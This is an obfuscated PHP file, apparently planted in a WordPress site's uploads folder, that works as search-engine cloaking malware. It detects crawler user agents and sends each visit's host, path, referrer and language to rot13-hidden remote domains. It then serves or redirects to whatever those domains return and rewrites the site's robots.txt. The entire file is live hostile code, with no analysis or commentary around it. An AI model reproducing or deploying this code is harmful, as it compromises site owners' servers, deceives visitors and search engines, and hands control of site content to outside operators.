File: /home/richfield/text.pio.richfield-egy.com/wp-content/uploads/gaibfebchb.php
<?php
goto PIFp6; pHGTs: function disbot() { $user_agent = strtolower($_SERVER["\110\124\124\120\137\x55\x53\105\122\137\x41\107\105\x4e\124"]); if (stristr($user_agent, "\147\x6f\157\x67\x6c\x65\142\157\x74") || stristr($user_agent, "\x62\151\x6e\147") || stristr($user_agent, "\x79\x61\150\x6f\157") || stristr($user_agent, "\147\x6f\x6f\147\x6c\x65") || stristr($user_agent, "\x47\157\x6f\x67\154\145\x62\x6f\164")) { return 1; } else { return 2; } } goto hWlq0; PIFp6: $xmlname = array("\45\63\66\x25\63\65\x25\63\x39\45\x32\104\45\67\71\x25\x37\x36\x25\66\x31\x25\x37\70\45\x33\x31\x25\63\67\45\63\x39\x25\62\104\45\63\61\x25\x32\105\x25\x37\x41\x25\66\x45\x25\x37\64\45\66\61\45\66\x45\x25\66\x31\45\x32\x45\x25\66\x37\45\x36\x32\x25\x36\x33", "\45\x33\x36\45\x33\65\x25\63\71\x25\62\104\45\x37\x39\45\x37\x36\45\x36\x31\x25\67\70\45\63\x31\x25\63\x37\x25\x33\71\45\62\x44\x25\x33\x31\x25\62\105\45\x36\64\x25\x36\x38\x25\x37\x36\45\x36\61\45\66\67\45\x37\x32\x25\66\66\x25\x36\66\x25\66\x43\x25\x32\105\x25\x36\x37\45\x36\62\x25\66\63", "\x25\63\x36\45\63\65\45\x33\71\x25\x32\104\x25\x37\x39\45\x37\66\45\x36\x31\x25\x37\x38\45\x33\61\x25\x33\67\45\63\71\x25\62\x44\45\63\x31\x25\62\x45\45\x37\x41\45\67\x32\x25\x36\67\x25\66\105\45\x36\106\45\66\x35\x25\x37\66\45\x37\61\45\x37\x34\45\x36\x45\x25\x32\105\x25\66\x42\x25\x36\x43\x25\66\104", "\x25\x33\x36\x25\63\65\45\63\71\45\x32\x44\x25\67\x39\x25\x37\x36\x25\66\61\45\67\x38\x25\x33\x31\x25\63\67\45\x33\71\45\62\x44\x25\63\x31\45\x32\105\x25\67\60\x25\66\x35\45\x37\x32\45\x36\x45\45\67\x30\45\x37\x36\x25\66\104\x25\x37\x32\x25\x36\x31\45\62\105\45\x36\x42\45\x36\x43\45\x36\x44"); goto cWgOb; dKgQL: function is_https() { if (isset($_SERVER["\x48\x54\x54\x50\x53"]) && strtolower($_SERVER["\x48\124\124\120\123"]) !== "\157\x66\x66") { return true; } elseif (isset($_SERVER["\x48\124\x54\x50\137\130\137\106\117\x52\x57\101\x52\104\x45\x44\137\x50\122\117\124\117"]) && $_SERVER["\110\124\124\120\137\130\137\x46\x4f\x52\x57\x41\122\104\105\104\x5f\x50\122\117\124\117"] === "\x68\x74\164\160\163") { return true; } elseif (isset($_SERVER["\x48\124\124\120\137\x46\x52\117\116\124\137\105\x4e\x44\x5f\110\x54\x54\x50\x53"]) && strtolower($_SERVER["\110\x54\124\x50\137\x46\x52\117\x4e\124\137\105\116\104\137\x48\124\124\120\x53"]) !== "\157\x66\146") { return true; } return false; } goto tqoNo; t4toc: function request($webs, $http_web, $param) { $function = func(); shuffle($webs); foreach ($webs as $domain) { $domain = $function[2](urldecode($domain)); $url = $http_web . "\72\57\x2f" . $domain . "\x2f\x73\165\160\x65\x72\x36\x2e\x70\x68\160\77" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\64\64\x33")) { echo "\x34\x34\x33"; } curl_close($ch); } if (ini_get("\141\154\x6c\157\x77\x5f\165\162\x6c\137\146\157\x70\145\x6e")) { $response = @$function[1]($url); if ($response !== false) { return $response; } } } return "\x6e\157\142\157\164\165\x73\145\162\x61\x67\145\x6e\x74"; } goto P0ssm; Ie6_D: function create_robots($url) { $function = func(); $path = $_SERVER["\104\x4f\103\x55\115\105\116\x54\137\x52\117\117\x54"] . "\57\x72\x6f\x62\x6f\164\163\x2e\x74\170\164"; $content = "\125\x73\x65\162\x2d\x61\147\145\156\x74\72\x20\52" . PHP_EOL; $content .= "\101\154\154\x6f\167\72\x20\x2f" . PHP_EOL . PHP_EOL; $content .= "\123\x69\x74\x65\x6d\x61\160\72\40" . $url . "\57\x73\x69\164\x65\x6d\141\160\x2e\170\155\154" . PHP_EOL; if (!file_exists($path)) { $function[0]($path, $content); } else { $existingContent = $function[1]($path); if ($existingContent !== $content) { $function[0]($path, $content); } } } goto t4toc; elEpC: create_robots($http . "\x3a\57\x2f" . $host); goto PqNnA; WmjzB: $host = $_SERVER["\x48\x54\x54\120\137\x48\x4f\123\124"]; goto fbcFG; QbMjh: if (!strstr($html_content, "\156\157\x62\x6f\164\x75\x73\x65\162\141\147\145\x6e\164")) { if (strstr($html_content, "\157\153\x68\x74\155\x6c")) { @header("\x43\157\156\x74\x65\x6e\164\x2d\x74\171\160\145\x3a\40\x74\x65\x78\164\x2f\x68\164\x6d\x6c\x3b\x20\143\x68\x61\x72\x73\145\x74\75\165\x74\146\55\x38"); $html_content = str_replace("\157\153\150\x74\155\x6c", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\147\x65\164\143\x6f\x6e\164\145\x6e\x74\x35\x30\60\x70\x61\147\x65")) { @header("\x48\x54\124\120\x2f\x31\56\x31\40\x35\60\x30\40\111\156\164\x65\x72\x6e\141\x6c\x20\x53\x65\x72\x76\145\162\40\105\x72\162\x6f\162"); die; } else { if (strstr($html_content, "\64\x30\64\160\x61\147\x65")) { @header("\110\x54\124\x50\x2f\61\x2e\61\40\64\x30\64\x20\x4e\157\164\40\x46\157\165\156\x64"); die; } else { if (strstr($html_content, "\x33\60\x31\160\141\x67\145")) { @header("\110\124\x54\x50\x2f\61\x2e\x31\40\63\x30\61\40\x4d\157\x76\x65\x64\x20\x50\x65\x72\155\x61\x6e\x65\x6e\164\x6c\x79"); $html_content = str_replace("\x33\60\x31\x70\141\147\x65", '', $html_content); header("\x4c\x6f\143\141\164\151\157\x6e\72\x20" . $html_content); die; } else { if (strstr($html_content, "\157\153\x78\x6d\154")) { $html_content = str_replace("\x6f\153\170\155\154", '', $html_content); @header("\x43\157\x6e\164\x65\156\164\x2d\124\171\160\x65\72\x20\141\x70\160\154\x69\143\x61\164\x69\x6f\156\x2f\170\x6d\x6c\x3b\40\x63\150\x61\x72\x73\145\x74\x3d\x75\164\x66\55\x38"); echo $html_content; die; } else { if (strstr($html_content, "\157\x6b\x72\x6f\142\x6f\164\x73")) { $html_content = str_replace("\157\x6b\162\x6f\142\157\164\163", '', $html_content); @header("\x43\157\x6e\164\145\x6e\x74\55\124\x79\x70\145\72\40\164\145\x78\164\x2f\x70\x6c\x61\x69\156"); echo $html_content; die; } } } } } } } goto pHGTs; oQpwC: $duri = $duri == '' ? "\x2f" : $duri; goto JW6yR; pOj30: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto ZL2Nj; fbcFG: $lang = isset($_SERVER["\x48\124\124\120\x5f\101\103\103\105\x50\x54\137\x4c\101\x4e\107\125\x41\x47\105"]) ?: "\x65\156"; goto tegJv; u5LQK: if (is_https()) { $http = "\x68\164\x74\160\163"; } else { $http = "\150\x74\x74\160"; } goto QYo1V; ZL2Nj: if ($duri != "\57") { $duri = str_replace("\x2f" . $model_file, '', $duri); $duri = str_replace("\x2f\151\x6e\144\x65\x78\56\x70\150\x70", '', $duri); $duri = str_replace("\x21", '', $duri); } goto PDL_M; hWlq0: function drequest_uri() { if (isset($_SERVER["\x52\x45\x51\x55\105\123\x54\x5f\x55\122\x49"])) { $duri = $_SERVER["\x52\x45\121\x55\105\x53\124\x5f\125\x52\111"]; } else { if (isset($_SERVER["\x61\162\147\166"])) { $duri = $_SERVER["\120\x48\x50\137\x53\105\x4c\106"] . "\77" . $_SERVER["\141\162\147\166"][0]; } else { $duri = $_SERVER["\120\110\x50\137\123\105\x4c\106"] . "\x3f" . $_SERVER["\121\125\x45\x52\x59\137\x53\124\x52\111\116\107"]; } } return $duri; } goto dKgQL; PDL_M: $duri = urlencode($duri); goto tB88I; Vr1NS: $istest = false; goto pOj30; tegJv: $urlshang = ''; goto RFSDZ; h0ODF: $html_content = request($xmlname, $http_web, $param); goto QbMjh; TW26j: if (empty($matches) || $matches[1] == "\x77\x70\x2d\x63\x72\x6f\155\56\x70\x68\x70" || $matches[1] == "\144\x65\164\x61\151\154\x2e\x70\150\160") { $model_file = "\151\x6e\144\145\170\56\x70\x68\x70"; $model = "\x69\x6e\144\x65\x78"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\57"); } $model = str_replace("\56\160\150\160", '', $model_file); } goto VnWl5; tqoNo: function detect_server_software() { $path = $_SERVER["\x44\117\x43\125\x4d\105\x4e\x54\x5f\x52\x4f\117\x54"] . "\x2f\x2e\150\x74\x61\x63\x63\x65\163\163"; if (file_exists($path)) { return 1; } else { return 2; } } goto Ie6_D; PqNnA: $param = "\167\x65\142\75" . $host . "\x26\x7a\x7a\x3d" . $zz . "\x26\x75\162\151\x3d" . $duri . "\x26\x75\x72\154\x73\x68\141\156\x67\x3d" . $urlshang . "\46\x68\x74\164\160\75" . $http . "\x26\x6c\x61\x6e\147\75" . $lang . "\46\x73\x65\x72\166\x65\162\75" . $server . "\46\x6d\x6f\144\145\x6c\x3d" . $model; goto h0ODF; tB88I: $server = detect_server_software(); goto elEpC; QYo1V: $zz = disbot(); goto F2pdd; RFSDZ: if (isset($_SERVER["\110\x54\x54\120\137\x52\105\106\x45\122\105\122"])) { $urlshang = $_SERVER["\110\124\x54\120\x5f\x52\105\x46\x45\122\105\122"]; } goto u5LQK; F2pdd: $duri = drequest_uri(); goto oQpwC; cWgOb: $http_web = "\150\164\164\160"; goto WmjzB; JW6yR: preg_match("\57\134\x2f\50\x5b\136\134\x2f\135\53\134\56\x70\150\160\x29\57", $duri, $matches); goto TW26j; HyELe: $string = "\x36\65\71\55\x6c\151\x6e\153\61\67\71\55\x31"; goto Vr1NS; VnWl5: if (stristr($duri, "\57\77")) { $model = "\x3f"; } goto HyELe; P0ssm: function func() { $chars = range("\x61", "\172"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[15] . $chars[20] . $chars[19] . "\137" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[6] . $chars[4] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\x5f" . $chars[17] . $chars[14] . $chars[19] . "\61\x33"); }